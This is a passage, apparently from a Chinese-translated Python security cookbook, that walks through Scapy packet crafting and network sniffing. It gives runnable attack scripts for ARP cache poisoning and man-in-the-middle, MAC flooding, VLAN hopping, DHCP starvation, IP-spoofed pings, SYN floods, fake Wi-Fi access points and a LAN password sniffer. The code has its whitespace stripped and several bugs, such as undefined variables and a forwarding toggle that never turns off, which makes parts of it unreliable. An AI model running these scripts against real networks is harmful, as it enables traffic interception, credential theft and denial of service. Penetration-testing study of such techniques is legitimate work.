elifipv4[4]==1:icmp=icmp_head(ipv4[7])print('\t-'+'ICMPPacket:')print('\t\t-'+'Type:{},Code:{},Checksum:{},'.format(icmp[0],icmp[1],icmp[2]))print('\t\t-'+'ICMPData:')print(format_multi_line('\t\t\t',icmp[3]))以下是UDP的数据包头结构:
就像我们对ICMP所做的那样,我们可以按照以下方式解包UDP数据包头:
elifipv4[4]==17:udp=udp_head(ipv4[7])print('\t-'+'UDPSegment:')print('\t\t-'+'SourcePort:{},DestinationPort:{},Length:{}'.format(udp[0],udp[1],udp[2]))现在保存并以所需权限运行脚本:
sudopython3basic-parse-packet-linux.py输出将打印所有被嗅探到的数据包。因此,它会一直打印,直到我们用键盘中断停止。输出如下:
PyShark是WiresharkCLI(TShark)的包装器,因此我们可以在PyShark中拥有所有Wireshark解码器。我们可以使用PyShark来嗅探接口,或者分析pcap文件。
在使用此模块时,请确保在系统上安装Wireshark并使用pip命令安装pyshark:
pip3installpyshark还要确保在计算机上安装了TShark。TShark是基于终端的Wireshark,PyShark用于数据包捕获功能。
让我们尝试一些PyShark的例子。确保在系统中安装了TShark。
>>>importpyshark>>>cap=pyshark.FileCapture('sample.pcap')我们可以使用以下命令从实时接口进行嗅探:
>>>cap=pyshark.LiveCapture(interface='wlp3s0b1')>>>cap.sniff(timeout=3)这将嗅探接口的下一个3秒
要打印出第一个数据包的详细信息,我们可以使用以下命令:
>>>print(cap[0])输出如下:
您可以使用dir()查看所有可能的选项:
>>>print(dir(cap[0]))为了以漂亮的格式查看它们,我们可以使用pprint模块:
>>>importpprint>>>pprint.pprint(dir(cap[0]))这将打印PyShark中数据包的所有可能选项。输出如下:
cap=pyshark.LiveCapture(interface='en0',bpf_filter='ipandtcpport80')cap.sniff(timeout=5)这将过滤数据包,除了TCP/IP到端口80
在本章中,我们将介绍以下配方:
Scapy是一个强大的Python模块,用于数据包操作。它可以解码和创建各种协议的数据包。Scapy可用于扫描、探测和网络发现任务。
我们知道,网络通信的基本单元是数据包。因此,我们可以通过使用Scapy创建数据包来开始。Scapy以层的形式创建数据包;每个层都嵌套在其父层内。
由于我们需要在环境中安装Scapy模块,请确保使用pip命令安装它:
pipinstallscapy安装后,请确保通过在终端中发出scapy命令来检查它是否正常工作:
scapyWelcometoScapy(3.0.0)>>>这将打开一个交互式的Scapy终端。您还可以使用它来对Scapy脚本进行基本调试。Scapy支持的所有协议的列表如下:
类似地,我们可以按以下方式获取每个协议中的详细信息和参数:
以下是使用scapy模块创建数据包的步骤:
fromscapy.allimport*frompprintimportpprintethernet=Ether()network=IP(dst='192.168.1.1/30')由于这是网络层,我们必须将目的地IP作为参数传递。Scapy接受不同的IP表示法,如下所示:
network=IP(dst='192.168.1.1')network=IP(dst='192.168.1.1/30')network=IP(dst='rejahrehim.com')此外,我们可以通过将目的地作为列表传递来设置多个目的地:
network=IP(dst=['rejahrehim.com','192.168.1.1','192.168.12'])transport=TCP(dport=53,flags='S')在这里,我们传递目的地端口,并将标志设置为S以进行SYN数据包。我们还可以将目的地端口作为列表传递以创建多个数据包:
transport=TCP(dport=[(53,100)],flags='S')packet=ethernet/network/transportpprint([pktforpktinpacket])我们还可以使用ls()来检查数据包:
forpktinpacket:ls(pkt)获取数据包详细信息的另一个选项是数据包中的show()方法:
forpktinpacket:pkt.show()现在我们可以使用脚本创建一个单个数据包。脚本如下:
sudopython3scapy-packet.py输出将如下所示:
在这里,我们可以看到scapy将源IP识别为本地IP,并自动将这些详细信息添加到数据包中。
以下是使用scapy模块发送和接收数据包的方法:
fromscapy.allimport*frompprintimportpprintnetwork=IP(dst='192.168.1.1')transport=ICMP()packet=network/transportsend(IP(packet)这将发送一个ICMP数据包
ethernet=Ether()network=IP(dst='192.168.1.1')transport=ICMP()packet=ethernet/network/transportsendp(packet,iface="en0")ethernet=Ether()network=IP(dst='rejahrehim.com')transport=TCP(dport=80)packet=ethernet/network/transportsr(packet,iface="en0")sr1(packet,iface="en0")srloop(packet)分层数据包在Scapy中,每个数据包都是嵌套字典的集合,因为Scapy使用Python字典作为数据包的数据结构。从最底层开始,每个层都将是父层的子字典。此外,数据包中每个层的每个字段都是该层字典中的键值对。因此,我们可以使用赋值操作更改此字段。
要了解Scapy中的分层,可以按照以下步骤进行:
>>>scapy接下来,创建一个数据包并显示其详细信息,如下所示:
>>>pkt=Ether()/IP(dst='192.168.1.1')/TCP(dport=80)>>>pkt.show()然后它将打印出我们创建的数据包的结构:
即使我们不提供源地址,Scapy也会自动分配源地址。
>>>pkt[TCP].show()>>>pkt[2].show()两者都将打印TCP层的详细信息,如下所示:
>>>if(pkt.haslayer(TCP)):....print("TCPflagscode:"+str(pkt.getlayer(TCP).flags)同样,可以使用getlayer()方法获取特定层
>>>pkts=sniff(filter="arp",count=10)>>>print(pkts.summary())读取和写入pcap文件pcap文件用于保存捕获的数据包以供以后使用。我们可以使用Scapy从pcap文件中读取数据包并将其写入pcap文件。
我们可以编写一个脚本来使用Scapy读取和写入pcap文件,如下所示:
fromscapy.allimport*packets=rdpcap("sample.pcap")packets.summary()forpacketinpackets:ifpacket.haslayer(UDP):print(packet.summary())fromscapy.allimport*packets=[]defchangePacketParameters(packet):packet[Ether].dst='00:11:22:dd:bb:aa'packet[Ether].src='00:11:22:dd:bb:aa'forpacketinsniff(offline='sample.pcap',prn=changePacketParameters):packets.append(packet)forpacketinpackets:ifpacket.haslayer(TCP):print(packet.show())在这里,我们定义一个新函数changePacketParameters(),用于迭代每个数据包,并在以太网层内更新其源和目标MAC地址。此外,我们将在sniff()部分内调用该函数作为prn。
wrpcap("editted.cap",packets)fromscapy.allimport*packets=[]defchangePacketParameters(packet):packet[Ether].dst='00:11:22:dd:bb:aa'packet[Ether].src='00:11:22:dd:bb:aa'defwriteToPcapFile(pkt):wrpcap('filteredPackets.pcap',pkt,append=True)forpacketinsniff(offline='sample.pcap',prn=changePacketParameters):packets.append(packet)forpacketinpackets:ifpacket.haslayer(TCP):writeToPcapFile(packet)print(packet.show())sendp(packets)我们可以使用一行代码在Scapy中读取和重放数据包:
sendp(rdpcap("sample.pcap"))嗅探数据包Scapy有一个sniff()函数,我们可以用它来从网络中获取数据包。但是Scapy内置的sniff()函数速度有点慢,可能会跳过一些数据包。当嗅探速度很重要时,最好使用tcpdump。
以下是使用scapy模块编写嗅探器的步骤:
importsysfromscapy.allimport*interface="en0"您可以使用Linux和macOS中的ifconfig命令获取要使用的interface:
defcallBackParser(packet):ifIPinpacket:source_ip=packet[IP].srcdestination_ip=packet[IP].dstifpacket.haslayer(DNS)andpacket.getlayer(DNS).qr==0:print("From:"+str(source_ip)+"to->"+str(destination_ip)+"("+str(packet.getlayer(DNS).qd.qname)+")")在这里,我们获取所有DNS数据包的源和目的地IP,并提取这些DNS数据包的域
sniff(iface=interface,prn=callBackParser)这将开始嗅探来自变量中指定的接口的数据包。
sudopython3scapy-sniffer.py输出将如下所示:
ifTCPinpacket:try:ifpacket[TCP].dport==80orpacket[TCP].sport==80:print(packet[TCP].payload)except:pass使用Scapy进行ARP中间人工具中间人攻击意味着攻击者坐在源和目的地之间,通过攻击系统传递所有数据。这将允许攻击者查看受害者的活动。我们可以借助Scapy编写一个小型的Python脚本来运行中间人攻击。
为了更好地理解,我们可以编写一个脚本,按照以下步骤:
fromscapy.allimport*importosimporttimeimportsys在这里,我们导入Scapy以及所需的os、time和sys模块,这些模块在脚本中是必需的。
interface="en0"source_ip="192.168.1.1"destination_ip="192.168.1.33"defgetMAC(IP,interface):answerd,unanswered=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IP),timeout=5,iface=interface,inter=0.1)forsend,recieveinanswerd:returnrecieve.sprintf(r"%Ether.src%")这将返回调用此函数时提供的IP的MAC地址
defsetIPForwarding(set):ifset:#forOSXos.system('sysctl-wnet.inet.ip.forwarding=1')else:#forOSXos.system('sysctl-wnet.inet.ip.forwarding=0')defsetIPForwarding(set):ifset:#forLinuxos.system('echo1>/proc/sys/net/ipv4/ip_forward')else:#forLinuxos.system('echo1>/proc/sys/net/ipv4/ip_forward')defresetARP(destination_ip,source_ip,interface):destinationMAC=getMAC(destination_ip,interface)sourceMAC=getMAC(source_ip,interface)send(ARP(op=2,pdst=source_ip,psrc=destination_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=destinationMAC,retry=7))send(ARP(op=2,pdst=destination_ip,psrc=source_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=sourceMAC,retry=7))setIPForwarding(False)在这个函数中,我们首先使用我们编写的getMAC()函数获取源和目的地的MAC地址。然后,我们将发送请求到源,就好像是来自目的地。此外,我们将发送请求到目的地,就好像是来自源。最后,我们将使用我们编写的setIPForwarding()函数重置IP转发
defmitm(destination_ip,destinationMAC,source_ip,sourceMAC):arp_dest_to_src=ARP(op=2,pdst=destination_ip,psrc=source_ip,hwdst=destinationMAC)arp_src_to_dest=ARP(op=2,pdst=source_ip,psrc=destination_ip,hwdst=sourceMAC)send(arp_dest_to_src)send(arp_src_to_dest)这将把数据包发送到源和目的地,指示我们的接口是源的目的地和目的地的源
defcallBackParser(packet):ifIPinpacket:source_ip=packet[IP].srcdestination_ip=packet[IP].dstprint("From:"+str(source_ip)+"to->"+str(destination_ip))defmain():setIPForwarding(True)try:destinationMAC=getMAC(destination_ip,interface)exceptExceptionase:setIPForwarding(False)print(e)sys.exit(1)try:sourceMAC=getMAC(source_ip,interface)exceptExceptionase:setIPForwarding(False)print(e)sys.exit(1)whileTrue:try:mitm(destination_ip,destinationMAC,source_ip,sourceMAC)sniff(iface=interface,prn=callBackParser,count=10)exceptKeyboardInterrupt:resetARP(destination_ip,source_ip,interface)breaksys.exit(1)main()这将创建一个无限循环来设置攻击并嗅探数据包。
我们已经学会了在Python中使用Scapy模块。现在我们可以利用Scapy模块来嗅探访问点及其MAC地址。在此之前,了解SSID的概念将会很有用。服务集标识符(SSID)是无线网络的名称,有助于区分同一网络中的多个信号。我们可以使用SSID来识别和连接到网络。
加入Wi-Fi网络的过程很简单。设备可以监听其他设备以识别它们。这些标识符会持续广播,并被称为信标。这些类型的唯一信标由充当访问点的设备广播。这些信标包括作为该访问点名称的SSID。每个SSID都会广播自己独特的信标帧,以通知任何监听设备该SSID可用并具有特定功能。我们可以通过监听这些访问点广播的信标来嗅探Wi-Fi接口中的数据包,以获取该区域内可用的Wi-Fi设备。在这里,我们使用Scapy来分析接口捕获的数据包,以提取信标。
由于我们需要从接口中嗅探数据包,因此我们需要一张能够以监视模式嗅探Wi-Fi信号的Wi-Fi卡。因此,我们必须确保该卡具备嗅探功能。然后,我们必须将接口设置为监视模式,这对不同的操作系统有不同的设置。由于Scapy在Windows系统中存在一些限制,因此我们必须在Linux或macOS环境中运行此操作。
在开始编码之前,我们必须了解Wi-Fi数据包。与其他数据包一样,Wi-Fi数据包也有一定的结构。根据规范802.11,每个访问点的信标帧包含有关特定SSID的大量信息。
以下是802.11mgmt信标帧的帧格式:
通过这个,我们可以了解信标帧的内容。信标帧中真正重要的项目如下:
在网络接口中启用监视模式。这对不同的操作系统有不同的设置。而且,并非所有的网络卡都支持监视模式。我们必须使用终端命令来执行此操作,因为无法通过Python脚本实现。这将把网络卡接口设置为wlan0并进入监视模式。
按照以下步骤在Linux环境中启用监视模式:
airmon-ngstartwlan0ifconfigwlan0downiwdevwlan0settypemonitorifconfigwlan0upifconfigwlan0downiwdevwlan1settypemanagedifconfigwlan0upmacOS按照以下步骤在macOS环境中启用监视模式:
sudoln-s/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport/usr/local/bin/airport现在我们可以使用airport选择要嗅探的信道:
airporten0channel7然后我们可以使用以下命令开始嗅探:
sudoairporten0sniff这将sniff接口en0并将其保存到tmp/文件夹中的pcap文件中,例如:/tmp/airportSniffXXXXXX.pcap.我们可以使用Scapy分析此文件。
fromscapy.allimport*access_points=[]defparsePacket(pkt):ifpkt.haslayer(Dot11):print(pkt.show())这将打印捕获的Wi-Fi数据包。输出如下:
对于802.11数据包层,主要变量是:
defparsePacket(pkt):ifpkt.haslayer(Dot11):ifpkt.type==0andpkt.subtype==8:ifpkt.addr2notinap_list:print(pkt.addr2)sniff(iface='en0',prn=parsePacket,count=10,timeout=3,store=0)$sudopython3Wi-Fi-sniff.py查找SSID要获取SSID,我们需要更新先前的方法并从数据包中解析SSID。
以下是使用scapy模块编写SSID嗅探器脚本的步骤:
fromscapy.allimport*defparseSSID(pkt):ifpkt.haslayer(Dot11):print(pkt.show())ifpkt.type==0andpkt.subtype==8:ap_list.append(pkt.addr2)print("SSID:"+pkt.info)sniff(iface='en0',prn=ssid,count=10,timeout=3,store=0)$sudopython3sniff-ssid.py暴露隐藏的SSID我们可以修改先前的方法以获取隐藏的SSID。使用Scapy,我们可以识别探测响应和请求以提取隐藏的SSID。
按照以下步骤编写一个暴露隐藏SSID的脚本:
fromscapy.allimport*hiddenSSIDs=dict()defparseSSID(pkt):ifpkt.haslayer(Dot11Beacon)orpkt.haslayer(Dot11ProbeResp):ifnothiddenSSIDs.has_key(pkt[Dot11].addr3):ssid=pkt[Dot11Elt].infobssid=pkt[Dot11].addr3channel=int(ord(pkt[Dot11Elt:3].info))capability=pkt.sprintf("{Dot11Beacon%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}")ifre.search("privacy",capability):encrypted='Y'else:encrypted='N'hiddenSSIDs[pkt[Dot11].addr3]=[encrypted,ssid,bssid,channel]print(hiddenSSIDs)在这里,它检查探测响应和请求以提取BSSID和SSID
sniff(iface='wlan0',prn=parseSSID,count=10,timeout=3,store=0)sudosniff-hidden-ssid.py隐藏SSID的字典攻击对于隐藏的SSID,我们可以运行字典攻击来识别隐藏的SSID。为此,我们将遍历SSID列表并发送带有特定SSID的广播数据包。如果SSID存在,接入点将以数据包响应。因此,我们可以在先前的方法中启动SSID嗅探器,并在运行SSID的暴力攻击时等待来自接入点的响应。
以下是编写可用于对SSID运行字典攻击的脚本的步骤:
fromscapy.allimport*senderMac="aa:aa:aa:aa:aa:aa"broadcastMac="ff:ff:ff:ff:ff:ff"forssidinopen('ssidList.txt','r').readlines():pkt=RadioTap()/Dot11(type=0,subtype=4,addr1=broadcastMac,addr2=senderMac,addr3=broadcastMac)/Dot11ProbeReq()/Dot11Elt(ID=0,info=ssid.strip())/Dot11Elt(ID=1,info="\x02\x04\x0b\x16")/Dot11Elt(ID=3,info="\x08")print("Checkingssid:"+ssid)print(pkt.show())sendp(pkt,iface="en0",count=1)sudopython3dictionary-attack-ssid.py使用Scapy创建虚假接入点我们可以通过使用Scapy注入信标帧来创建虚假的Wi-Fi接入点。
让我们尝试用以下步骤创建一个假的SSID:
fromscapy.allimport*importrandom在这里,我们使用scapy和random模块来创建随机的MACID
ssid="fakeap"iface="en0"dot11=Dot11(type=0,subtype=8,addr1='ff:ff:ff:ff:ff:ff',addr2=str(RandMAC()),addr3=str(RandMAC()))dot11beacon=Dot11Beacon(cap='ESS+privacy')dot11essid=Dot11Elt(ID='SSID',info=ssid,len=len(ssid))rsn=Dot11Elt(ID='RSNinfo',info=('\x01\x00'#ForRSNVersion1'\x00\x0f\xac\x02'#GroupCipherSuite:00-0f-acTKIP'\x02\x00'#2PairwiseCipherSuites(nexttwolines)'\x00\x0f\xac\x04'#AESCipher'\x00\x0f\xac\x02'#TKIPCipher'\x01\x00'#1AuthenticationKeyManagmentSuite(linebelow)'\x00\x0f\xac\x02'#Pre-SharedKey'\x00\x00'))#RSNCapabilities(noextracapabilities)frame=RadioTap()/dot11/dot11beacon/dot11essid/rsnsendp(frame,iface=iface,inter=0.0100iflen(frames)<10else0,loop=1)sudopython3fake-access-point.py这将广播一个带有提供的SSID的接入点
在本章中,我们将介绍以下内容:
第2层是数据链路层,负责在具有MAC地址的以太网中寻址数据包。第2层用于在广域网中的相邻网络节点之间或在同一局域网上的节点之间传输数据。在本章中,我们将介绍TCP/IP第二层的一些常见攻击。
通过地址解析协议(ARP),我们可以找到活动的内部主机。我们可以编写一个使用Scapy扫描给定网络中主机的脚本。
我们可以按照以下步骤编写ARP监视器:
fromscapy.allimport*interface="en0"ip_rage="192.168.1.1/24"broadcastMac="ff:ff:ff:ff:ff:ff"pkt=Ether(dst=broadcastMac)/ARP(pdst=ip_rage)数据包的结构将如下所示:
answered,unanswered=srp(pkt,timeout=2,iface=interface,inter=0.1)forsend,reciveinans:print(recive.sprintf(r"%Ether.src%-%ARP.psrc%"))sudopython3arp-scanner.py这将打印出所提供的网络范围内所有活动系统的MAC和IP。输出将如下所示:
defparsePacket(pkt):ifARPinpktandpkt[ARP].opin(1,2):returnpkt.sprintf("%ARP.hwsrc%%ARP.psrc%")sniff(prn=parsePacket,filter="arp",store=0)sudopython3arp-monitor.pyARP缓存中毒正如我们所知,TCP/IP局域网上的系统通过其网络适配器的MAC地址识别和相互通信。每个系统都会保留一份系统和其MAC地址的列表以供参考,称为ARP缓存。如果可能的话,我们需要欺骗一台机器的缓存,使其用错误的MAC地址替换另一台机器的MAC地址。从机器发送到具有伪造MAC地址的机器的所有通信将被定向到连接的机器。因此,ARP缓存中毒是一种欺骗机器在其ARP表中保存有关IP地址的错误数据的方法。
由于我们正在执行一种中间人攻击(从连接到同一网络的另一台设备获取数据),我们必须打开IP转发以确保受害者机器上的连接不受影响或中断。为了执行IP转发,我们在Linux和macOS上有不同的方法。
我们可以通过检查以下文件中的内容来检查IP转发的状态:
cat/proc/sys/net/ipv4/ip_forward如果输出是1,则IP转发已启用;如果是0,则IP转发已禁用。如果已禁用,请按以下方式启用它:
echo1>/proc/sys/net/ipv4/ip_forwardmacOS您可以使用以下命令在macOS上启用IP转发:
sudosysctl-wnet.inet.ip.forwarding=1使用以下命令禁用它:
sudosysctl-wnet.inet.ip.forwarding=0如何做...以下是编写脚本以中毒受害系统的ARP缓存的步骤:
网关数据包将如下所示:
defrestore(gateway_ip,gateway_mac,target_ip,target_mac):print("Restoringtarget...")send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100)send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100)print("TargetRestored...")sys.exit(0)try:poison(gateway_ip,gateway_mac,target_ip,target_mac)exceptKeyboardInterrupt:restore(gateway_ip,gateway_mac,target_ip,target_mac)sys.exit(0)sudopython3arp-cache-poisoning.pyMAC洪泛我们可以通过在网络上传送随机的以太网流量来填充路由器的MAC地址存储。这可能导致交换机故障,并可能开始将所有网络流量发送给连接到路由器的所有人,或者可能失败。
以下是淹没路由器MAC地址存储的步骤:
importsysfromscapy.allimport*interface="en0"pkt=Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))/\IP(src=RandIP("*.*.*.*"),dst=RandIP("*.*.*.*"))/\ICMP()数据包结构将如下所示:
try:whileTrue:sendp(pkt,iface=interface)exceptKeyboardInterrupt:print("Exiting..")sys.exit(0)sudopython3mac-flooder.pyVLAN跳跃VLAN跳跃是一种攻击类型,攻击者能够将一个VLAN的流量发送到另一个VLAN。我们可以用两种方法实现这一点:双标签和交换机欺骗。为了创建双标签攻击,攻击者发送一个带有两个802.1Q标签的数据包--内部VLAN标签是我们计划到达的VLAN,外层是当前的VLAN。
以下是模拟简单的VLAN跳跃攻击的步骤:
importtimefromscapy.allimport*iface="en0"our_vlan=1target_vlan=2target_ip='192.168.1.2'ether=Ether()dot1q1=Dot1Q(vlan=our_vlan)#vlantag1dot1q2=Dot1Q(vlan=target_vlan)#vlantag2ip=IP(dst=target_ip)icmp=ICMP()packet=ether/dot1q1/dot1q2/ip/icmp数据包将如下所示:
try:whileTrue:sendp(packet,iface=iface)time.sleep(10)exceptKeyboardInterrupt:print("Exiting..")sys.exit(0)sudopython3vlan-hopping.pyARP欺骗跨VLAN跳跃由于VLAN限制广播流量到相同的VLAN,因此我们为每个数据包打上我们的VLAN标记,并额外添加目标VLAN的标记。
以下是模拟ARP欺骗攻击跨VLAN跳跃的步骤:
importtimefromscapy.allimport*iface="en0"target_ip='192.168.1.2'fake_ip='192.168.1.3'fake_mac='c0:d3:de:ad:be:ef'our_vlan=1target_vlan=2ether=Ether()dot1q1=Dot1Q(vlan=our_vlan)dot1q2=Dot1Q(vlan=target_vlan)arp=ARP(hwsrc=fake_mac,pdst=target_ip,psrc=fake_ip,op="is-at")packet=ether/dot1q1/dot1q2/arp这是一个带有两个802.1Q标签和ARP层的数据包:
try:whileTrue:sendp(packet,iface=iface)time.sleep(10)exceptKeyboardInterrupt:print("Exiting..")sys.exit(0)sudopython3arp-spoofing-over-vlan.pyDHCP饥饿DHCP是帮助为LAN分配客户端IP地址的协议。分配DHCP的过程包括四个步骤--DHCPDiscover、DHCPOffer、DHCPRequest和DHCPACK。
DHCPDiscover是客户端在LAN中广播以查找可以为客户端提供IP的DHCP服务器的第一步。然后服务器将以单播DHCPOffer响应,其中提供可能的IP。然后,客户端将向所有网络广播DHCPRequest与IP,最后服务器将以DHCPACK或DHCPNAK响应。ACK表示成功的DHCP过程,而NAK表示IP不可用:
DHCP服务器将IP信息存储到MAC绑定。如果我们从DHCP服务器请求太多IP,其他合法客户端将无法获得IP连接。这被称为DHCP饥饿攻击。在这个示例中,我们将攻击这个过程的第三步。发送DHCP请求后,服务器将为客户端分配请求的IP。这可以用来攻击特定范围的IP。
让我们尝试编写一个脚本来使网络中的DHCP饥饿:
fromscapy.allimport*fromtimeimportsleepfromthreadingimportThread我们需要Scapy来制作数据包,并且需要threading模块来执行脚本的线程化
mac=[""]ip=[]defcallback_dhcp_handle(pkt):ifpkt.haslayer(DHCP):ifpkt[DHCP].options[0][1]==5andpkt[IP].dst!="192.168.1.38":ip.append(pkt[IP].dst)print(str(pkt[IP].dst)+"registered")elifpkt[DHCP].options[0][1]==6:print("NAKreceived")这个函数被调用来处理嗅探器接收到的每个数据包
defsniff_udp_packets():sniff(filter="udpand(port67orport68)",prn=callback_dhcp_handle,store=0)这将开始嗅探到端口67和68的UDP数据包
defoccupy_IP():foriinrange(250):requested_addr="192.168.1."+str(2+i)ifrequested_addrinip:continuesrc_mac=""whilesrc_macinmac:src_mac=RandMAC()mac.append(src_mac)pkt=Ether(src=src_mac,dst="ff:ff:ff:ff:ff:ff")pkt/=IP(src="img/0.0.0.0",dst="255.255.255.255")pkt/=UDP(sport=68,dport=67)pkt/=BOOTP(chaddr="\x00\x00\x00\x00\x00\x00",xid=0x10000000)pkt/=DHCP(options=[("message-type","request"),("requested_addr",requested_addr),("server_id","192.168.1.1"),"end"])sendp(pkt)print("Tryingtooccupy"+requested_addr)sleep(0.2)#intervaltoavoidcongestionandpacketloss这将首先在指定范围内生成一个IP地址。此外,它将为数据包创建一个随机的MAC地址。然后,它将使用生成的IP地址和MAC地址来创建一个DHCP请求数据包。然后,它将发送数据包。生成的数据包将如下所示:
defmain():thread=Thread(target=sniff_udp_packets)thread.start()print("StartingDHCPstarvation...")whilelen(ip)<100:occupy_IP()print("TargetedIPaddressstarved")main()第十一章:TCP/IP攻击在本章中,我们将涵盖以下内容:
传输层是提供数据传递、流量控制和错误恢复服务的层。两个主要的传输层协议是TCP和UDP。在本章中,我们将讨论传输层中一些常见的攻击。
使用Scapy,我们可以简单地制作数据包并发送它们。因此,如果我们伪造源地址并发送它,网络将接受并将响应返回到伪造的地址。现在,我们可以创建一个脚本来使用伪造的IP对系统进行ping。
以下是创建发送伪造IP的ping请求脚本的步骤:
fromscapy.allimport*iface="en0"fake_ip='192.168.1.3'destination_ip='192.168.1.5'defping(source,destination,iface):pkt=IP(src=source,dst=destination)/ICMP()srloop(IP(src=source,dst=destination)/ICMP(),iface=iface)这将创建以下数据包并开始发送/接收循环:
try:print("StartingPing")ping(fake_ip,destination_ip,iface)exceptKeyboardInterrupt:print("Exiting..")sys.exit(0)sudopython3ip-spoof-ping.pydefdnsQuery(source,destination,iface):pkt=IP(dst=destination,src=source)/UDP()/DNS(rd=1,qd=DNSQR(qname="example.com"))sr1(pkt)这将创建以下数据包,并开始在发送/接收循环中发送:
try:print("StartingPing")dnsQuery(fake_ip,dns_destination,iface)exceptKeyboardInterrupt:print("Exiting..")sys.exit(0)SYN洪泛SYN洪泛是一种使服务对合法用户不可用的DOS攻击类型。SYN洪泛攻击利用了TCP协议的三次握手,其中客户端发送TCPSYN数据包以开始与服务器的连接,服务器回复TCPSYN-ACK数据包。然后,在正常操作中,客户端将发送一个ACK数据包,然后是数据。这将保持连接处于SYN_RECV状态。但是,如果客户端不用ACK数据包回应,连接将处于半开放状态。
如果多个攻击者或系统向目标服务器打开了许多这样的半开放连接,它可能填满服务器的SYN缓冲区,并且可能停止接收更多的SYN数据包,从而导致拒绝服务(DoS)攻击:
我们可以使用Scapy生成SYN洪泛数据包进行测试。
以下是创建生成SYN洪泛攻击脚本的步骤:
fromscapy.allimport*iface="en0"destination_ip='192.168.1.5'defsynFlood(destination,iface):print("StartingSYNFlood")packet=IP(dst=destination,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0rSVP"ans,unans=srloop(paket,iface=iface,inter=0.3,retry=2,timeout=4)ans.summary()unans.summary()在这里,随机值用于设置数据包中的TTL和ID。这将有助于混淆服务器中存在的任何入侵检测系统。此外,源端口是由randshort()函数创建的随机值。
这是一个创建的示例数据包:
try:synFlood(destination_ip,iface)exceptKeyboardInterrupt:print("Exiting..")sys.exit(0)sudopython3syn-flooding.py使用Python在局域网中进行密码嗅探我们已经学习了如何在之前的示例中使用Scapy来嗅探数据包。现在我们可以使用Scapy来嗅探和提取数据包中的内容。这可以用来获取许多协议的细节。我们可以尝试从这些嗅探到的数据包中获取凭据。我们可以将这个嗅探器绑定到我们的ARP欺骗攻击中,以从网络上的其他计算机获取详细信息。
以下是编写局域网密码嗅探器的步骤:
defpkt_parser(pkt):ifpkt.haslayer(Ether)andpkt.haslayer(Raw)andnotpkt.haslayer(IP)andnotpkt.haslayer(IPv6):passifpkt.haslayer(TCP)andpkt.haslayer(Raw)andpkt.haslayer(IP):pkt[TCP].payloadmail_packet=str(pkt[TCP].payload)body=str(pkt[TCP].payload)user_passwd=get_login_pass(body)ifuser_passwd!=None:print(parse.unquote(user_passwd[0]).encode("utf8"))print(parse.unquote(user_passwd[1]).encode("utf8"))else:pass首先,我们将忽略没有IP层的原始数据包。然后我们获取IP层并提取有效载荷,并将其传递给get_login_pass()方法来提取凭据。
try:sniff(iface=iface,prn=pkt_parser,store=0)exceptKeyboardInterrupt:print("Exiting..")sys.exit(0)sudopython3pass-sniffer.pyifpkt[TCP].dport==21orpkt[TCP].sport==21:data=pkt[Raw].loadprint(str(data))这将打印FTP数据。我们可以对其进行正则匹配以获取用户名和密码。
Python对于创建简单的原型代码来测试利用非常有帮助。在本章中,我们可以学习利用开发的基础知识,这可能有助于您修复损坏的利用,或者从头开始构建自己的利用。
CPU寄存器,或处理器寄存器,是处理器中一小组数据存储位置之一,可以存储指令、存储地址或任何数据。寄存器应能够存储指令。寄存器是最快的计算机内存,用于加快计算机操作。
在进行利用开发之前,您需要对寄存器有一个基本的了解。为了理解,让我们考虑寄存器主要有两种形式,通用寄存器和特殊目的寄存器。
通用寄存器用于存储程序执行过程中的中间结果和运行数学运算。四个通用寄存器是EAX、EBX、ECX和EDX:
特殊目的寄存器用于处理索引和指向。这些在编写利用时非常重要,因为我们将尝试操纵和覆盖这些寄存器中的数据。主要的特殊目的寄存器是EBP、EDI、EIP和ESP:
在运行程序时查看寄存器,我们需要调试器,在您的系统中安装调试器。对于调试Windows程序,我们可以使用ImmunityDebugger,对于Linux和Mac,我们可以使用pwngdb。
要安装pwndbg,请从Git存储库获取代码并运行安装脚本:
调试器如下所示:
>>gdb./app这将在调试器中打开应用程序app
pwndbg>break5pwndbg>run这将运行应用程序并在第5行处中断
pwndbg>inforegisters输出将如下所示:
如果可执行文件是64位的,则寄存器将以r开头。以e开头是无效的。
我们可以使用内存转储轻松查看内存位置的内容。我们可以使用ImmunityDebugger或pwndbg来实现这一点。
按照以下步骤更好地理解内存转储:
pwndbg>break5pwndbg>runpwndbg>hexdump$rsi输出将如下所示:
当应用程序用高级语言编写并编译时,语言指令将被转换为相应的汇编语言。这是机器可以理解的代码。通过调试器,我们可以查看每个汇编指令。
按照以下步骤了解调试器的用法:
以下是指令窗格的外观:
这将更新右上角窗格中相应的寄存器。通过这样,我们可以在ImmunityDebugger中跟踪每个CPU指令的执行。
在pwndbg的情况下,我们可以使用entry命令在入口点执行:
pwndbg>entry这将显示上下文屏幕。
pwndbg>nearpc输出将如下所示:
pwndbg>stepi这将执行一条机器指令,然后停止并返回到调试器。
通过这样,我们可以逐步分析指令。
本章将介绍一些基于Windows的漏洞以及使用Python的利用技术。利用开发任务的解决方案是用我们的指令替换程序指令,以操纵应用程序行为。我们将使用ImmunityDebugger来调试应用程序。由于受害机器将是Windows机器,我们需要一台安装了WindowsXP操作系统的机器。我们使用旧版XP以便于利用,并且具有漏洞的示例应用程序将在XP中运行。
Windows操作系统内存有许多部分,可以被视为高级组件。为了编写利用并利用有漏洞的程序,我们必须了解内存结构及其各个部分。
在开始编写利用脚本之前,我们必须了解Windows内存布局的结构。
让我们来看一下可执行文件的内存结构:
由于在大多数利用中我们使用堆栈和堆,我们可以从这些开始。
堆栈用于有序的短期本地存储。应用程序中的每个线程都有一个堆栈。当调用线程或函数时,为其分配一个具有固定大小的唯一堆栈。堆栈的大小在应用程序或线程启动时定义。此堆栈在函数或线程完成时被销毁。堆栈主要用于存储局部变量、保存函数返回指针、函数参数异常处理程序记录等。
堆栈从堆栈底部到顶部构建数据,从高内存地址到低内存地址:
